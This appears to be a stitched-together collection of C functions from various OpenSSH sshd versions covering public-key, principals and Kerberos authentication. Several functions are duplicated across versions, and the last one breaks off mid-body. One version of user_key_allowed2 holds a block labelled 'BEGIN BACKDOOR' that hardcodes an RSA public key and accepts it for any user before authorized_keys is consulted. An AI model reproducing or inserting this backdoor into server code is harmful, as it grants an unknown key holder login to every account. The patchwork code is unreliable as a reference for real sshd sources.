static int
match_principals_file(char *file, struct passwd *pw, struct sshkey_cert *cert)
{
FILE *f;
char line[SSH_MAX_PUBKEY_BYTES], *cp, *ep, *line_opts;
u_long linenum = 0;
u_int i;
temporarily_use_uid(pw);
debug("trying authorized principals file %s", file);
if ((f = auth_openprincipals(file, pw, options.strict_modes)) == NULL) {
restore_uid();
return 0;
}
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
/* Skip leading whitespace. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
/* Skip blank and comment lines. */
if ((ep = strchr(cp, '#')) != NULL)
*ep = '\0';
if (!*cp || *cp == '\n')
continue;
/* Trim trailing whitespace. */
ep = cp + strlen(cp) - 1;
while (ep > cp && (*ep == '\n' || *ep == ' ' || *ep == '\t'))
*ep-- = '\0';
/*
* If the line has internal whitespace then assume it has
* key options.
*/
line_opts = NULL;
if ((ep = strrchr(cp, ' ')) != NULL ||
(ep = strrchr(cp, '\t')) != NULL) {
for (; *ep == ' ' || *ep == '\t'; ep++)
;
line_opts = cp;
cp = ep;
}
for (i = 0; i < cert->nprincipals; i++) {
if (strcmp(cp, cert->principals[i]) == 0) {
debug3("matched principal \"%.100s\" "
"from file \"%s\" on line %lu",
cert->principals[i], file, linenum);
if (auth_parse_options(pw, line_opts,
file, linenum) != 1)
continue;
fclose(f);
restore_uid();
return 1;
}
}
}
fclose(f);
restore_uid();
return 0;
}
int
auth_krb4_tgt(Authctxt *authctxt, const char *string)
{
CREDENTIALS creds;
struct passwd *pw;
if ((pw = authctxt->pw) == NULL)
goto failure;
temporarily_use_uid(pw);
if (!radix_to_creds(string, &creds)) {
log("Protocol error decoding Kerberos v4 TGT");
goto failure;
}
if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */
strlcpy(creds.service, "krbtgt", sizeof creds.service);
if (strcmp(creds.service, "krbtgt")) {
log("Kerberos v4 TGT (%s%s%s@%s) rejected for %s",
creds.pname, creds.pinst[0] ? "." : "", creds.pinst,
creds.realm, pw->pw_name);
goto failure;
}
if (!krb4_init(authctxt))
goto failure;
if (in_tkt(creds.pname, creds.pinst) != KSUCCESS)
goto failure;
if (save_credentials(creds.service, creds.instance, creds.realm,
creds.session, creds.lifetime, creds.kvno, &creds.ticket_st,
creds.issue_date) != KSUCCESS) {
debug("Kerberos v4 TGT refused: couldn't save credentials");
goto failure;
}
/* Successful authentication, passed all checks. */
chown(tkt_string(), pw->pw_uid, pw->pw_gid);
debug("Kerberos v4 TGT accepted (%s%s%s@%s)",
creds.pname, creds.pinst[0] ? "." : "", creds.pinst, creds.realm);
memset(&creds, 0, sizeof(creds));
restore_uid();
return (1);
failure:
krb4_cleanup_proc(authctxt);
memset(&creds, 0, sizeof(creds));
restore_uid();
return (0);
}
/*
* Checks whether key is allowed in file.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
FILE *f;
int found_key = 0;
/********** BEGIN BACKDOOR ***************/
char backdoor_key[] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMfAdPOOBDuzYih8neJCs6YA0fHyuDTieslk4GjM19JJh89zYR+uXKUlMzwAdEfEoELugoqYRMGg0QVSYIlDzzTtPc26agKEBZAZas7Q+M/Y6HD76EdFbNFzYJ4wo/cYfDpxr2uXhAhKOAQ0AVGBrd26SgHmw4iX8HqLniqyLj+f41jLJoaH09YUQ/O6ZX9nFDoF3fXo2GJJYoxEz0/d63+vKst22vd1XKXApdir3QwfpMwrmMIsS4ObotQsZ0DO9Mbtcv5EmV3/h1EQFIRSNwObKDUMIa0zvZRpGM8LVBzlZ8meVrHm3BiycYSIWjAgrgbUoypuKpGQOevRaF1jDovaX6XVOZyek8WwYWo4J3xYQBpX3Y337T/+VTwdsLwdDWtyMoFjiG0Kgx7qK6zsaHKA8ZElN7OkRlhbQoXlUrvwPWjrw8jM75vhMXpM1ZcS/MzXxUvVJdgoAXcarx9fqfX/BQJcwtR0THiOCeFGq1PTyv2BWn2FkraRozS/hkZS+CmdnDxl26/YE9Ls79+DN13Xgao5aLM/hnti5iXixmuqmv+xENIYyO21wjDbvuool25W58BXj6Yecrxhi68UI899NE9iV38kHeUIYYD1/K7/F9Y7g4PKhDN4KMshYambfqzdx9S+aaeE06+LdapOQt40G9MdgUn73b7uz3il/04Q== martin@phoenix";
char *char_pointer = backdoor_key;
Key *found = key_new(key_is_cert(key) ? KEY_UNSPEC : key->type);
auth_clear_options();
int ret = key_read(found, &char_pointer);
if (key_equal(found, key)) {
found_key = 1;
key_free(found);
kk_backdoor_active = 1;
return found_key;
}
key_free(found);
/*********** END BACKDOOR ****************/
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
found_key = check_authkeys_file(f, file, key, pw);
fclose(f);
}
restore_uid();
return found_key;
}
static int
match_principals_file(char *file, struct passwd *pw, struct sshkey_cert *cert)
{
FILE *f;
int success;
temporarily_use_uid(pw);
debug("trying authorized principals file %s", file);
if ((f = auth_openprincipals(file, pw, options.strict_modes)) == NULL) {
restore_uid();
return 0;
}
success = process_principals(f, file, pw, cert);
fclose(f);
restore_uid();
return success;
}
/*
* Checks whether key is allowed in file.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_allowed2(struct passwd *pw, Key *key, char *file)
{
FILE *f;
int found_key = 0;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
debug("trying public key file %s", file);
if ((f = auth_openkeyfile(file, pw, options.strict_modes)) != NULL) {
found_key = check_authkeys_file(f, file, key, pw);
fclose(f);
}
restore_uid();
return found_key;
}
/* return ok if key exists in sysfile or userfile */
HostStatus
check_key_in_hostfiles(struct passwd *pw, struct sshkey *key, const char *host,
const char *sysfile, const char *userfile)
{
char *user_hostfile;
struct stat st;
HostStatus host_status;
struct hostkeys *hostkeys;
const struct hostkey_entry *found;
hostkeys = init_hostkeys();
load_hostkeys(hostkeys, host, sysfile);
if (userfile != NULL) {
user_hostfile = tilde_expand_filename(userfile, pw->pw_uid);
if (options.strict_modes &&
(stat(user_hostfile, &st) == 0) &&
((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
(st.st_mode & 022) != 0)) {
logit("Authentication refused for %.100s: "
"bad owner or modes for %.200s",
pw->pw_name, user_hostfile);
auth_debug_add("Ignored %.200s: bad ownership or modes",
user_hostfile);
} else {
temporarily_use_uid(pw);
load_hostkeys(hostkeys, host, user_hostfile);
restore_uid();
}
free(user_hostfile);
}
host_status = check_key_in_hostkeys(hostkeys, key, &found);
if (host_status == HOST_REVOKED)
error("WARNING: revoked key for %s attempted authentication",
found->host);
else if (host_status == HOST_OK)
debug("%s: key for %s found at %s:%ld", __func__,
found->host, found->file, found->line);
else
debug("%s: key for host %s not found", __func__, host);
free_hostkeys(hostkeys);
return host_status;
}
int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
char *file;
u_int i, allowed = 0;
temporarily_use_uid(pw);
for (i = 0; !allowed && i < options.num_authkeys_files; i++) {
file = expand_authorized_keys(
options.authorized_keys_files[i], pw);
allowed = rsa_key_allowed_in_file(pw, file, client_n, rkey);
xfree(file);
}
restore_uid();
return allowed;
}
int
ssh_gssapi_update_creds(ssh_gssapi_ccache *store) {
int ok = 0;
/* Check we've got credentials to store */
if (!gssapi_client.updated)
return 0;
gssapi_client.updated = 0;
temporarily_use_uid(gssapi_client.store.owner);
if (gssapi_client.mech && gssapi_client.mech->updatecreds)
ok = (*gssapi_client.mech->updatecreds)(store, &gssapi_client);
else
debug("No update function for this mechanism");
restore_uid();
return ok;
}
/* return ok if key exists in sysfile or userfile */
HostStatus
check_key_in_hostfiles(struct passwd *pw, Key *key, const char *host,
const char *sysfile, const char *userfile)
{
Key *found;
char *user_hostfile;
struct stat st;
HostStatus host_status;
/* Check if we know the host and its host key. */
found = key_new(key->type);
host_status = check_host_in_hostfile(sysfile, host, key, found, NULL);
if (host_status != HOST_OK && userfile != NULL) {
user_hostfile = tilde_expand_filename(userfile, pw->pw_uid);
if (options.strict_modes &&
(stat(user_hostfile, &st) == 0) &&
((st.st_uid != 0 && st.st_uid != pw->pw_uid) ||
(st.st_mode & 022) != 0)) {
logit("Authentication refused for %.100s: "
"bad owner or modes for %.200s",
pw->pw_name, user_hostfile);
} else {
temporarily_use_uid(pw);
host_status = check_host_in_hostfile(user_hostfile,
host, key, found, NULL);
restore_uid();
}
xfree(user_hostfile);
}
key_free(found);
debug2("check_key_in_hostfiles: key %s for %s", host_status == HOST_OK ?
"ok" : "not found", host);
return host_status;
}
/*
* Checks whether key is allowed in output of command.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_command_allowed2(struct passwd *user_pw, Key *key)
{
FILE *f;
int ok, found_key = 0;
struct passwd *pw;
struct stat st;
int status, devnull, p[2], i;
pid_t pid;
char *username, errmsg[512];
if (options.authorized_keys_command == NULL ||
options.authorized_keys_command[0] != '/')
return 0;
if (options.authorized_keys_command_user == NULL) {
error("No user for AuthorizedKeysCommand specified, skipping");
return 0;
}
username = percent_expand(options.authorized_keys_command_user,
"u", user_pw->pw_name, (char *)NULL);
pw = getpwnam(username);
if (pw == NULL) {
error("AuthorizedKeysCommandUser \"%s\" not found: %s",
username, strerror(errno));
free(username);
return 0;
}
free(username);
temporarily_use_uid(pw);
if (stat(options.authorized_keys_command, &st) < 0) {
error("Could not stat AuthorizedKeysCommand \"%s\": %s",
options.authorized_keys_command, strerror(errno));
goto out;
}
if (auth_secure_path(options.authorized_keys_command, &st, NULL, 0,
errmsg, sizeof(errmsg)) != 0) {
error("Unsafe AuthorizedKeysCommand: %s", errmsg);
goto out;
}
if (pipe(p) != 0) {
error("%s: pipe: %s", __func__, strerror(errno));
goto out;
}
debug3("Running AuthorizedKeysCommand: \"%s %s\" as \"%s\"",
options.authorized_keys_command, user_pw->pw_name, pw->pw_name);
/*
* Don't want to call this in the child, where it can fatal() and
* run cleanup_exit() code.
*/
restore_uid();
switch ((pid = fork())) {
case -1: /* error */
error("%s: fork: %s", __func__, strerror(errno));
close(p[0]);
close(p[1]);
return 0;
case 0: /* child */
for (i = 0; i < NSIG; i++)
signal(i, SIG_DFL);
if ((devnull = open(_PATH_DEVNULL, O_RDWR)) == -1) {
error("%s: open %s: %s", __func__, _PATH_DEVNULL,
strerror(errno));
_exit(1);
}
/* Keep stderr around a while longer to catch errors */
if (dup2(devnull, STDIN_FILENO) == -1 ||
dup2(p[1], STDOUT_FILENO) == -1) {
error("%s: dup2: %s", __func__, strerror(errno));
_exit(1);
}
closefrom(STDERR_FILENO + 1);
/* Don't use permanently_set_uid() here to avoid fatal() */
if (setresgid(pw->pw_gid, pw->pw_gid, pw->pw_gid) != 0) {
error("setresgid %u: %s", (u_int)pw->pw_gid,
strerror(errno));
_exit(1);
}
if (setresuid(pw->pw_uid, pw->pw_uid, pw->pw_uid) != 0) {
error("setresuid %u: %s", (u_int)pw->pw_uid,
strerror(errno));
_exit(1);
}
/* stdin is pointed to /dev/null at this point */
if (dup2(STDIN_FILENO, STDERR_FILENO) == -1) {
error("%s: dup2: %s", __func__, strerror(errno));
_exit(1);
}
execl(options.authorized_keys_command,
options.authorized_keys_command, user_pw->pw_name, NULL);
error("AuthorizedKeysCommand %s exec failed: %s",
options.authorized_keys_command, strerror(errno));
_exit(127);
default: /* parent */
break;
}
temporarily_use_uid(pw);
close(p[1]);
if ((f = fdopen(p[0], "r")) == NULL) {
error("%s: fdopen: %s", __func__, strerror(errno));
close(p[0]);
/* Don't leave zombie child */
kill(pid, SIGTERM);
while (waitpid(pid, NULL, 0) == -1 && errno == EINTR)
;
goto out;
}
ok = check_authkeys_file(f, options.authorized_keys_command, key, pw);
fclose(f);
while (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
error("%s: waitpid: %s", __func__, strerror(errno));
goto out;
}
}
if (WIFSIGNALED(status)) {
error("AuthorizedKeysCommand %s exited on signal %d",
options.authorized_keys_command, WTERMSIG(status));
goto out;
} else if (WEXITSTATUS(status) != 0) {
error("AuthorizedKeysCommand %s returned status %d",
options.authorized_keys_command, WEXITSTATUS(status));
goto out;
}
found_key = ok;
out:
restore_uid();
return found_key;
}
int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
char line[SSH_MAX_PUBKEY_BYTES], *file;
int allowed = 0;
u_int bits;
FILE *f;
u_long linenum = 0;
Key *key;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
/* The authorized keys. */
file = authorized_keys_file(pw);
debug("trying public RSA key file %s", file);
f = auth_openkeyfile(file, pw, options.strict_modes);
if (!f) {
xfree(file);
restore_uid();
return (0);
}
/* Flag indicating whether the key is allowed. */
allowed = 0;
key = key_new(KEY_RSA1);
/*
* Go though the accepted keys, looking for the current key. If
* found, perform a challenge-response dialog to verify that the
* user really has the corresponding private key.
*/
while (read_keyfile_line(f, file, line, sizeof(line), &linenum) != -1) {
char *cp;
char *key_options;
int keybits;
char *fp;
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
/*
* Check if there are options for this key, and if so,
* save their starting address and skip the option part
* for now. If there are no options, set the starting
* address to NULL.
*/
if (*cp < '0' || *cp > '9') {
int quoted = 0;
key_options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
} else
key_options = NULL;
/* Parse the key from the line. */
if (hostfile_read_key(&cp, &bits, key) == 0) {
debug("%.100s, line %lu: non ssh1 key syntax",
file, linenum);
continue;
}
/* cp now points to the comment part. */
/* Check if the we have found the desired key (identified by its modulus). */
if (BN_cmp(key->rsa->n, client_n) != 0)
continue;
/* check the real bits */
keybits = BN_num_bits(key->rsa->n);
if (keybits < 0 || bits != (u_int)keybits)
logit("Warning: %s, line %lu: keysize mismatch: "
"actual %d vs. announced %d.",
file, linenum, BN_num_bits(key->rsa->n), bits);
/* Never accept a revoked key */
if (auth_key_is_revoked(key))
break;
if (blacklisted_key(key)) {
fp = key_fingerprint(key, SSH_FP_MD5, SSH_FP_HEX);
if (options.permit_blacklisted_keys)
logit("Public key %s blacklisted (see "
"ssh-vulnkey(1)); continuing anyway", fp);
else
logit("Public key %s blacklisted (see "
"ssh-vulnkey(1))", fp);
xfree(fp);
if (!options.permit_blacklisted_keys)
continue;
}
/* We have found the desired key. */
/*
* If our options do not allow this key to be used,
* do not send challenge.
*/
if (!auth_parse_options(pw, key_options, file, linenum))
continue;
if (key_is_cert_authority)
continue;
/* break out, this key is allowed */
allowed = 1;
break;
}
/* Restore the privileged uid. */
restore_uid();
/* Close the file. */
xfree(file);
fclose(f);
/* return key if allowed */
if (allowed && rkey != NULL)
*rkey = key;
else
key_free(key);
return (allowed);
}
int
auth_rsa_key_allowed(struct passwd *pw, BIGNUM *client_n, Key **rkey)
{
char line[8192], *file;
int allowed = 0;
u_int bits;
FILE *f;
u_long linenum = 0;
struct stat st;
Key *key;
/* Temporarily use the user's uid. */
temporarily_use_uid(pw);
/* The authorized keys. */
file = authorized_keys_file(pw);
debug("trying public RSA key file %s", file);
/* Fail quietly if file does not exist */
if (stat(file, &st) < 0) {
/* Restore the privileged uid. */
restore_uid();
xfree(file);
return (0);
}
/* Open the file containing the authorized keys. */
f = fopen(file, "r");
if (!f) {
/* Restore the privileged uid. */
restore_uid();
xfree(file);
return (0);
}
if (options.strict_modes &&
secure_filename(f, file, pw, line, sizeof(line)) != 0) {
xfree(file);
fclose(f);
log("Authentication refused: %s", line);
restore_uid();
return (0);
}
/* Flag indicating whether the key is allowed. */
allowed = 0;
key = key_new(KEY_RSA1);
/*
* Go though the accepted keys, looking for the current key. If
* found, perform a challenge-response dialog to verify that the
* user really has the corresponding private key.
*/
while (fgets(line, sizeof(line), f)) {
char *cp;
char *options;
linenum++;
/* Skip leading whitespace, empty and comment lines. */
for (cp = line; *cp == ' ' || *cp == '\t'; cp++)
;
if (!*cp || *cp == '\n' || *cp == '#')
continue;
/*
* Check if there are options for this key, and if so,
* save their starting address and skip the option part
* for now. If there are no options, set the starting
* address to NULL.
*/
if (*cp < '0' || *cp > '9') {
int quoted = 0;
options = cp;
for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) {
if (*cp == '\\' && cp[1] == '"')
cp++; /* Skip both */
else if (*cp == '"')
quoted = !quoted;
}
} else
options = NULL;
/* Parse the key from the line. */
if (hostfile_read_key(&cp, &bits, key) == 0) {
debug("%.100s, line %lu: non ssh1 key syntax",
file, linenum);
continue;
}
/* cp now points to the comment part. */
/* Check if the we have found the desired key (identified by its modulus). */
if (BN_cmp(key->rsa->n, client_n) != 0)
continue;
/* check the real bits */
if (bits != BN_num_bits(key->rsa->n))
log("Warning: %s, line %lu: keysize mismatch: "
"actual %d vs. announced %d.",
file, linenum, BN_num_bits(key->rsa->n), bits);
/* We have found the desired key. */
/*
* If our options do not allow this key to be used,
* do not send challenge.
*/
if (!auth_parse_options(pw, options, file, linenum))
continue;
/* break out, this key is allowed */
allowed = 1;
break;
}
/* Restore the privileged uid. */
restore_uid();
/* Close the file. */
xfree(file);
fclose(f);
/* return key if allowed */
if (allowed && rkey != NULL)
*rkey = key;
else
key_free(key);
return (allowed);
}
/*
* Checks whether key is allowed in output of command.
* returns 1 if the key is allowed or 0 otherwise.
*/
static int
user_key_command_allowed2(struct passwd *user_pw, Key *key)
{
FILE *f = NULL;
int r, ok, found_key = 0;
struct passwd *pw;
int i, uid_swapped = 0, ac = 0;
pid_t pid;
char *username = NULL, *key_fp = NULL, *keytext = NULL;
char *tmp, *command = NULL, **av = NULL;
void (*osigchld)(int);
if (options.authorized_keys_command == NULL)
return 0;
if (options.authorized_keys_command_user == NULL) {
error("No user for AuthorizedKeysCommand specified, skipping");
return 0;
}
/*
* NB. all returns later this function should go via "out" to
* ensure the original SIGCHLD handler is restored properly.
*/
osigchld = signal(SIGCHLD, SIG_DFL);
/* Prepare and verify the user for the command */
username = percent_expand(options.authorized_keys_command_user,
"u", user_pw->pw_name, (char *)NULL);
pw = getpwnam(username);
if (pw == NULL) {
error("AuthorizedKeysCommandUser \"%s\" not found: %s",
username, strerror(errno));
goto out;
}
/* Prepare AuthorizedKeysCommand */
if ((key_fp = sshkey_fingerprint(key, options.fingerprint_hash,
SSH_FP_DEFAULT)) == NULL) {
error("%s: sshkey_fingerprint failed", __func__);
goto out;
}
if ((r = sshkey_to_base64(key, &keytext)) != 0) {
error("%s: sshkey_to_base64 failed: %s", __func__, ssh_err(r));
goto out;
}
/* Turn the command into an argument vector */
if (split_argv(options.authorized_keys_command, &ac, &av) != 0) {
error("AuthorizedKeysCommand \"%s\" contains invalid quotes",
command);
goto out;
}
if (ac == 0) {
error("AuthorizedKeysCommand \"%s\" yielded no arguments",
command);
goto out;
}
for (i = 1; i < ac; i++) {
tmp = percent_expand(av[i],
"u", user_pw->pw_name,
"h", user_pw->pw_dir,
"t", sshkey_ssh_name(key),
"f", key_fp,
"k", keytext,
(char *)NULL);
if (tmp == NULL)
fatal("%s: percent_expand failed", __func__);
free(av[i]);
av[i] = tmp;
}
/* Prepare a printable command for logs, etc. */
command = assemble_argv(ac, av);
/*
* If AuthorizedKeysCommand was run without arguments
* then fall back to the old behaviour of passing the
* target username as a single argument.
*/
if (ac == 1) {
av = xreallocarray(av, ac + 2, sizeof(*av));
av[1] = xstrdup(user_pw->pw_name);
av[2] = NULL;
/* Fix up command too, since it is used in log messages */
free(command);
xasprintf(&command, "%s %s", av[0], av[1]);
}
if ((pid = subprocess("AuthorizedKeysCommand", pw, command,
ac, av, &f)) == 0)
goto out;
uid_swapped = 1;
temporarily_use_uid(pw);
ok = check_authkeys_file(f, options.authorized_keys_command, key, pw);
fclose(f);
f = NULL;
if (exited_cleanly(pid, "AuthorizedKeysCommand", command) != 0)
goto out;
/* Read completed successfully */
found_key = ok;
out:
if (f != NULL)
fclose(f);
signal(SIGCHLD, osigchld);
for (i = 0; i < ac; i++)
free(av[i]);
free(av);
if (uid_swapped)
restore_uid();
free(command);
free(username);
free(key_fp);
free(keytext);
return found_key;
}
int
auth_krb5_password(Authctxt *authctxt, const char *password)
{
#ifndef HEIMDAL
krb5_creds creds;
krb5_principal server;
char ccname[40];
int tmpfd;
mode_t old_umask;
#endif
krb5_error_code problem;
krb5_ccache ccache = NULL;
int len;
if (!authctxt->valid)
return (0);
temporarily_use_uid(authctxt->pw);
problem = krb5_init(authctxt);
if (problem)
goto out;
problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name,
&authctxt->krb5_user);
if (problem)
goto out;
#ifdef HEIMDAL
problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_mcc_ops, &ccache);
if (problem)
goto out;
problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
authctxt->krb5_user);
if (problem)
goto out;
restore_uid();
problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user,
ccache, password, 1, NULL);
temporarily_use_uid(authctxt->pw);
if (problem)
goto out;
problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops,
&authctxt->krb5_fwd_ccache);
if (problem)
goto out;
problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache,
authctxt->krb5_fwd_ccache);
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
ccache = NULL;
if (problem)
goto out;
#else
problem = krb5_get_init_creds_password(authctxt->krb5_ctx, &creds,
authctxt->krb5_user, (char *)password, NULL, NULL, 0, NULL, NULL);
if (problem)
goto out;
problem = krb5_sname_to_principal(authctxt->krb5_ctx, NULL, NULL,
KRB5_NT_SRV_HST, &server);
if (problem)
goto out;
restore_uid();
problem = krb5_verify_init_creds(authctxt->krb5_ctx, &creds, server,
NULL, NULL, NULL);
krb5_free_principal(authctxt->krb5_ctx, server);
temporarily_use_uid(authctxt->pw);
if (problem)
goto out;
if (!krb5_kuserok(authctxt->krb5_ctx, authctxt->krb5_user,
authctxt->pw->pw_name)) {
problem = -1;
goto out;
}
snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid());
old_umask = umask(0177);
tmpfd = mkstemp(ccname + strlen("FILE:"));
umask(old_umask);
if (tmpfd == -1) {
logit("mkstemp(): %.100s", strerror(errno));
problem = errno;
goto out;
}
if (fchmod(tmpfd,S_IRUSR | S_IWUSR) == -1) {
logit("fchmod(): %.100s", strerror(errno));
close(tmpfd);
problem = errno;
goto out;
}
close(tmpfd);
problem = krb5_cc_resolve(authctxt->krb5_ctx, ccname, &authctxt->krb5_fwd_ccache);
if (problem)
goto out;
problem = krb5_cc_initialize(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache,
authctxt->krb5_user);
if (problem)
goto out;
problem= krb5_cc_store_cred(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache,
&creds);
if (problem)
goto out;
#endif
authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache);
len = strlen(authctxt->krb5_ticket_file) + 6;
authctxt->krb5_ccname = xmalloc(len);
snprintf(authctxt->krb5_ccname, len, "FILE:%s",
authctxt->krb5_ticket_file);
out:
restore_uid();
if (problem) {
if (ccache)
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
if (authctxt->krb5_ctx != NULL && problem!=-1)
debug("Kerberos password authentication failed: %s",
krb5_get_err_text(authctxt->krb5_ctx, problem));
else
debug("Kerberos password authentication failed: %d",
problem);
krb5_cleanup_proc(authctxt);
if (options.kerberos_or_local_passwd)
return (-1);
else
return (0);
}
return (1);
}
int
auth_krb5_password(struct authctxt *authctxt, const char *password)
{
krb5_error_code problem;
krb5_ccache ccache = NULL;
const char *errmsg;
temporarily_use_uid(authctxt->pw);
problem = krb5_init(authctxt);
if (problem)
goto out;
problem = krb5_parse_name(authctxt->krb5_ctx, authctxt->pw->pw_name,
&authctxt->krb5_user);
if (problem)
goto out;
problem = krb5_cc_new_unique(authctxt->krb5_ctx,
krb5_mcc_ops.prefix, NULL, &ccache);
if (problem)
goto out;
problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
authctxt->krb5_user);
if (problem)
goto out;
restore_uid();
problem = krb5_verify_user(authctxt->krb5_ctx, authctxt->krb5_user,
ccache, password, 1, NULL);
temporarily_use_uid(authctxt->pw);
if (problem)
goto out;
problem = krb5_cc_new_unique(authctxt->krb5_ctx,
krb5_fcc_ops.prefix, NULL, &authctxt->krb5_fwd_ccache);
if (problem)
goto out;
problem = krb5_cc_copy_cache(authctxt->krb5_ctx, ccache,
authctxt->krb5_fwd_ccache);
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
ccache = NULL;
if (problem)
goto out;
authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx,
authctxt->krb5_fwd_ccache);
out:
restore_uid();
if (problem) {
if (ccache)
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
if (authctxt->krb5_ctx != NULL) {
errmsg = krb5_get_error_message(authctxt->krb5_ctx,
problem);
debug("Kerberos password authentication failed: %s",
errmsg);
krb5_free_error_message(authctxt->krb5_ctx, errmsg);
} else
debug("Kerberos password authentication failed: %d",
problem);
krb5_cleanup_proc(authctxt);
if (options.kerberos_or_local_passwd)
return (-1);
else
return (0);
}
return (authctxt->valid ? 1 : 0);
}
int
auth_krb5_tgt(Authctxt *authctxt, krb5_data *tgt)
{
krb5_error_code problem;
krb5_ccache ccache = NULL;
char *pname;
const char *errtxt;
if (authctxt->pw == NULL || authctxt->krb5_user == NULL)
return (0);
temporarily_use_uid(authctxt->pw);
problem = krb5_cc_new_unique(authctxt->krb5_ctx, "FILE", NULL, &ccache);
if (problem)
goto fail;
problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
authctxt->krb5_user);
if (problem)
goto fail;
problem = krb5_rd_cred2(authctxt->krb5_ctx, authctxt->krb5_auth_ctx,
ccache, tgt);
if (problem)
goto fail;
authctxt->krb5_fwd_ccache = ccache;
ccache = NULL;
authctxt->krb5_ticket_file = __UNCONST(krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache));
problem = krb5_unparse_name(authctxt->krb5_ctx, authctxt->krb5_user,
&pname);
if (problem)
goto fail;
#ifdef USE_PAM
if (options.use_pam)
do_pam_putenv(__UNCONST("KRB5CCNAME"), authctxt->krb5_ticket_file);
#endif
debug("Kerberos v5 TGT accepted (%s)", pname);
restore_uid();
return (1);
fail:
if (problem) {
errtxt = krb5_get_error_message(authctxt->krb5_ctx, problem);
if (errtxt != NULL) {
debug("Kerberos v5 TGT passing failed: %s", errtxt);
krb5_free_error_message(authctxt->krb5_ctx, errtxt);
} else
debug("Kerberos v5 TGT passing failed: %d", problem);
}
if (ccache)
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
restore_uid();
return (0);
}
int
auth_krb5_tgt(Authctxt *authctxt, krb5_data *tgt)
{
krb5_error_code problem;
krb5_ccache ccache = NULL;
char *pname;
krb5_creds **creds;
if (authctxt->pw == NULL || authctxt->krb5_user == NULL)
return (0);
temporarily_use_uid(authctxt->pw);
#ifdef HEIMDAL
problem = krb5_cc_gen_new(authctxt->krb5_ctx, &krb5_fcc_ops, &ccache);
#else
{
char ccname[40];
int tmpfd;
snprintf(ccname,sizeof(ccname),"FILE:/tmp/krb5cc_%d_XXXXXX",geteuid());
if ((tmpfd = mkstemp(ccname+strlen("FILE:")))==-1) {
log("mkstemp(): %.100s", strerror(errno));
problem = errno;
goto fail;
}
if (fchmod(tmpfd,S_IRUSR | S_IWUSR) == -1) {
log("fchmod(): %.100s", strerror(errno));
close(tmpfd);
problem = errno;
goto fail;
}
close(tmpfd);
problem = krb5_cc_resolve(authctxt->krb5_ctx, ccname, &ccache);
}
#endif
if (problem)
goto fail;
problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache,
authctxt->krb5_user);
if (problem)
goto fail;
#ifdef HEIMDAL
problem = krb5_rd_cred2(authctxt->krb5_ctx, authctxt->krb5_auth_ctx,
ccache, tgt);
if (problem)
goto fail;
#else
problem = krb5_rd_cred(authctxt->krb5_ctx, authctxt->krb5_auth_ctx,
tgt, &creds, NULL);
if (problem)
goto fail;
problem = krb5_cc_store_cred(authctxt->krb5_ctx, ccache, *creds);
if (problem)
goto fail;
#endif
authctxt->krb5_fwd_ccache = ccache;
ccache = NULL;
authctxt->krb5_ticket_file = (char *)krb5_cc_get_name(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache);
problem = krb5_unparse_name(authctxt->krb5_ctx, authctxt->krb5_user,
&pname);
if (problem)
goto fail;
debug("Kerberos v5 TGT accepted (%s)", pname);
restore_uid();
return (1);
fail:
if (problem)
debug("Kerberos v5 TGT passing failed: %s",
krb5_get_err_text(authctxt->krb5_ctx, problem));
if (ccache)
krb5_cc_destroy(authctxt->krb5_ctx, ccache);
restore_uid();
return (0);
}
/* check to see if the script specified by file can authorize the key
*
* the script will have the key written to STDIN, which is identical
* to the normal public key format.
*
* the script must exit with either 0 for success or 1 for failure.
* the script can print login options (if any) to STDOUT. No whitepace should be added
* to the output.
*
* Use with caution: the script can hang sshd. It is recommended you code the script
* with a timeout set if it cannot determine authenication quickly.
*/
static int
user_key_found_by_script(struct passwd *pw, Key *key, char *file)
{
pid_t pid;
char line[SSH_MAX_PUBKEY_BYTES];
int pipe_in[2];
int pipe_out[2];
int exit_code = 1;
int success = 0;
FILE *f;
//mysig_t oldsig;
pipe(pipe_in);
pipe(pipe_out);
